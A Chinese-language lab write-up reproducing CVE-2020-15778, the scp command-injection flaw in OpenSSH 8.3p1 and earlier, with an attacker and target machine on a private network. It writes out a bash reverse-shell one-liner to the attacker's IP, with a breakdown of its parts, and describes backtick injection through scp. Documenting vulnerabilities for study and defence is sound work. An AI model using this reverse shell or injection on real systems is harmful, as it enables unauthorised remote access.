一、漏洞概要
OpenSSH 8.3p1及之前版本中的scp允許在scp.c遠程功能中注入命令,攻擊者可利用該漏洞執行任意命令。目前絕大多數linux系統受影響。
參考鏈接:https://github.com/cpandya2909/CVE-2020-15778
二、環境部署
攻擊機:Centos7.6 10.10.10.133
靶機:Centos7.6 10.10.10.134
三、漏洞復現
首先確認靶機OpenSSH版本是否在漏洞影響范圍
1)正常遠程拷貝
scp是 linux 系統下基於 ssh 登陸進行安全的遠程文件拷貝命令,命令格式:
scp local_file remote_username@remote_ip:remote_file
攻擊機在當前目錄下創建一個拷貝用的測試文件test.txt
遠程拷貝文件
可以看到,在靶機上對比之前已經有拷貝過去的文件了
2)命令注入攻擊
通過特殊符號 ` 進行遠程命令注入攻擊
命令執行成功
即可以在``內實現任意遠程命令執行,甚至是從網上下載准備好的后門或者其他惡意程序
3)反彈shell利用
命令格式:
bash -i >&/dev/tcp/10.10.10.133/6666 0>&1
命令解析
命令 | 解釋 |
bash -i | 產生一個交互式bash |
>& /dev/tcp/ip/port | 建立TCP連接,並將標准輸出和錯誤重定向到TCP連接 |
0>&1 | 從TCP連接獲取輸入 |
打開攻擊機監聽端口,如6666
firewall-cmd --zone=public --add-port=6666/tcp --permanent
新開一個窗口開啟監聽
攻擊機原窗口進行反彈shell命令注入攻擊
執行成功,成功回顯
四、總結
此漏洞利用有一定的局限性,需要通過SSH身份認證。但是該漏洞影響范圍非常廣,且官方尚未發布安全更新補丁,請持續關注。